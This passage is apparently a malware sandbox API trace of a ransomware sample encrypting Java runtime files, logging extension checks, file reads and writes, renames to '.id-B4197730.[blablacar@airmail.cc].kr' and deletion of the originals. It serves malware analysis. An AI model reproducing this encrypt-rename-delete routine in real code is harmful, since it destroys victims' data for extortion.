lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.582] lstrlenW (lpString=".pdf") returned 4 [0179.582] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.582] lstrlenW (lpString=".xls") returned 4 [0179.583] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.583] lstrlenW (lpString=".xlsx") returned 5 [0179.583] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.583] lstrlenW (lpString=".ppt") returned 4 [0179.583] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.583] lstrlenW (lpString=".zip") returned 4 [0179.583] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.583] lstrlenW (lpString=".rar") returned 4 [0179.583] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.583] lstrlenW (lpString=".bz2") returned 4 [0179.583] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.583] lstrlenW (lpString=".7z") returned 3 [0179.583] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.583] lstrlenW (lpString=".dbf") returned 4 [0179.583] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.583] lstrlenW (lpString=".1cd") returned 4 [0179.583] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.583] lstrlenW (lpString=".jpg") returned 4 [0179.583] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.583] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0179.583] lstrlenW (lpString="deploy.jar") returned 10 [0179.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.624] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=5040094) returned 1 [0179.625] CloseHandle (hObject=0x454) returned 1 [0179.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0179.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0179.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.625] lstrlenW (lpString=".doc") returned 4 [0179.625] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.625] lstrlenW (lpString=".docx") returned 5 [0179.625] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0179.625] lstrlenW (lpString=".pdf") returned 4 [0179.625] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.625] lstrlenW (lpString=".xls") returned 4 [0179.625] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.625] lstrlenW (lpString=".xlsx") returned 5 [0179.625] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0179.625] lstrlenW (lpString=".ppt") returned 4 [0179.625] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.625] lstrlenW (lpString=".zip") returned 4 [0179.625] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.626] lstrlenW (lpString=".rar") returned 4 [0179.626] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.626] lstrlenW (lpString=".bz2") returned 4 [0179.626] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.626] lstrlenW (lpString=".7z") returned 3 [0179.626] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.626] lstrlenW (lpString=".dbf") returned 4 [0179.626] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.626] lstrlenW (lpString=".1cd") returned 4 [0179.626] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.626] lstrlenW (lpString=".jpg") returned 4 [0179.626] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.626] lstrlenW (lpString=".doc") returned 4 [0179.626] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.626] lstrlenW (lpString=".docx") returned 5 [0179.626] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0179.626] lstrlenW (lpString=".pdf") returned 4 [0179.626] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.626] lstrlenW (lpString=".xls") returned 4 [0179.626] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.626] lstrlenW (lpString=".xlsx") returned 5 [0179.626] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0179.626] lstrlenW (lpString=".ppt") returned 4 [0179.626] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.626] lstrlenW (lpString=".zip") returned 4 [0179.626] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.626] lstrlenW (lpString=".rar") returned 4 [0179.627] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.627] lstrlenW (lpString=".bz2") returned 4 [0179.627] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.627] lstrlenW (lpString=".7z") returned 3 [0179.627] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.627] lstrlenW (lpString=".dbf") returned 4 [0179.627] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.627] lstrlenW (lpString=".1cd") returned 4 [0179.627] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0179.627] lstrlenW (lpString=".jpg") returned 4 [0179.627] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.627] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0179.627] lstrlenW (lpString="jaccess.jar") returned 11 [0179.627] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.628] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=44516) returned 1 [0179.628] CloseHandle (hObject=0x454) returned 1 [0179.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0179.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.628] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.629] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.629] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.629] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0179.629] GetLastError () returned 0x0 [0179.629] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xade4, lpOverlapped=0x0) returned 1 [0179.632] WriteFile (in: hFile=0x3ec, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xadf0, lpOverlapped=0x0) returned 1 [0179.633] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0179.633] WriteFile (in: hFile=0x3ec, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xea, lpOverlapped=0x0) returned 1 [0179.634] SetEndOfFile (hFile=0x3ec) returned 1 [0179.634] CloseHandle (hObject=0x3ec) returned 1 [0179.635] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.635] SetEndOfFile (hFile=0x454) returned 1 [0179.743] CloseHandle (hObject=0x454) returned 1 [0179.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.744] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0179.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.745] lstrlenW (lpString=".doc") returned 4 [0179.745] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.745] lstrlenW (lpString=".docx") returned 5 [0179.745] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0179.745] lstrlenW (lpString=".pdf") returned 4 [0179.745] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.745] lstrlenW (lpString=".xls") returned 4 [0179.745] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.745] lstrlenW (lpString=".xlsx") returned 5 [0179.745] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0179.745] lstrlenW (lpString=".ppt") returned 4 [0179.745] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.745] lstrlenW (lpString=".zip") returned 4 [0179.745] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.746] lstrlenW (lpString=".rar") returned 4 [0179.746] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.746] lstrlenW (lpString=".bz2") returned 4 [0179.746] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.746] lstrlenW (lpString=".7z") returned 3 [0179.746] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.746] lstrlenW (lpString=".dbf") returned 4 [0179.746] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.746] lstrlenW (lpString=".1cd") returned 4 [0179.746] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.746] lstrlenW (lpString=".jpg") returned 4 [0179.746] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.746] lstrlenW (lpString=".doc") returned 4 [0179.746] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.746] lstrlenW (lpString=".docx") returned 5 [0179.746] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0179.746] lstrlenW (lpString=".pdf") returned 4 [0179.746] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.746] lstrlenW (lpString=".xls") returned 4 [0179.746] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.746] lstrlenW (lpString=".xlsx") returned 5 [0179.746] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0179.746] lstrlenW (lpString=".ppt") returned 4 [0179.746] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.746] lstrlenW (lpString=".zip") returned 4 [0179.746] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.747] lstrlenW (lpString=".rar") returned 4 [0179.747] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.747] lstrlenW (lpString=".bz2") returned 4 [0179.747] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.747] lstrlenW (lpString=".7z") returned 3 [0179.747] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.747] lstrlenW (lpString=".dbf") returned 4 [0179.747] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.747] lstrlenW (lpString=".1cd") returned 4 [0179.747] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0179.747] lstrlenW (lpString=".jpg") returned 4 [0179.747] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.747] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0179.747] lstrlenW (lpString="jfxrt.jar") returned 9 [0179.747] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.748] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=18246297) returned 1 [0179.748] CloseHandle (hObject=0x454) returned 1 [0179.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0179.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0179.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.748] lstrlenW (lpString=".doc") returned 4 [0179.748] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.748] lstrlenW (lpString=".docx") returned 5 [0179.748] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0179.749] lstrlenW (lpString=".pdf") returned 4 [0179.749] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.749] lstrlenW (lpString=".xls") returned 4 [0179.749] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.749] lstrlenW (lpString=".xlsx") returned 5 [0179.749] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0179.749] lstrlenW (lpString=".ppt") returned 4 [0179.749] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.749] lstrlenW (lpString=".zip") returned 4 [0179.749] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.749] lstrlenW (lpString=".rar") returned 4 [0179.749] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.749] lstrlenW (lpString=".bz2") returned 4 [0179.749] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.749] lstrlenW (lpString=".7z") returned 3 [0179.749] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.749] lstrlenW (lpString=".dbf") returned 4 [0179.749] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.749] lstrlenW (lpString=".1cd") returned 4 [0179.749] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.749] lstrlenW (lpString=".jpg") returned 4 [0179.749] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.750] lstrlenW (lpString=".doc") returned 4 [0179.750] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.750] lstrlenW (lpString=".docx") returned 5 [0179.750] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0179.750] lstrlenW (lpString=".pdf") returned 4 [0179.750] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.750] lstrlenW (lpString=".xls") returned 4 [0179.750] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.750] lstrlenW (lpString=".xlsx") returned 5 [0179.750] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0179.750] lstrlenW (lpString=".ppt") returned 4 [0179.750] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.750] lstrlenW (lpString=".zip") returned 4 [0179.750] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.750] lstrlenW (lpString=".rar") returned 4 [0179.750] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.750] lstrlenW (lpString=".bz2") returned 4 [0179.750] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.750] lstrlenW (lpString=".7z") returned 3 [0179.750] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.750] lstrlenW (lpString=".dbf") returned 4 [0179.750] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.750] lstrlenW (lpString=".1cd") returned 4 [0179.750] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0179.750] lstrlenW (lpString=".jpg") returned 4 [0179.750] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.751] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0179.751] lstrlenW (lpString="localedata.jar") returned 14 [0179.751] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.752] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2204781) returned 1 [0179.752] CloseHandle (hObject=0x454) returned 1 [0179.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0179.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0179.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.752] lstrlenW (lpString=".doc") returned 4 [0179.752] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.752] lstrlenW (lpString=".docx") returned 5 [0179.752] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0179.752] lstrlenW (lpString=".pdf") returned 4 [0179.752] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.752] lstrlenW (lpString=".xls") returned 4 [0179.752] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.752] lstrlenW (lpString=".xlsx") returned 5 [0179.753] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0179.753] lstrlenW (lpString=".ppt") returned 4 [0179.753] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.753] lstrlenW (lpString=".zip") returned 4 [0179.753] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.753] lstrlenW (lpString=".rar") returned 4 [0179.753] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.753] lstrlenW (lpString=".bz2") returned 4 [0179.753] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.753] lstrlenW (lpString=".7z") returned 3 [0179.753] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.753] lstrlenW (lpString=".dbf") returned 4 [0179.753] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.753] lstrlenW (lpString=".1cd") returned 4 [0179.753] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.753] lstrlenW (lpString=".jpg") returned 4 [0179.753] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.753] lstrlenW (lpString=".doc") returned 4 [0179.753] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.753] lstrlenW (lpString=".docx") returned 5 [0179.753] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0179.753] lstrlenW (lpString=".pdf") returned 4 [0179.753] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.753] lstrlenW (lpString=".xls") returned 4 [0179.753] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.754] lstrlenW (lpString=".xlsx") returned 5 [0179.754] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0179.754] lstrlenW (lpString=".ppt") returned 4 [0179.754] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 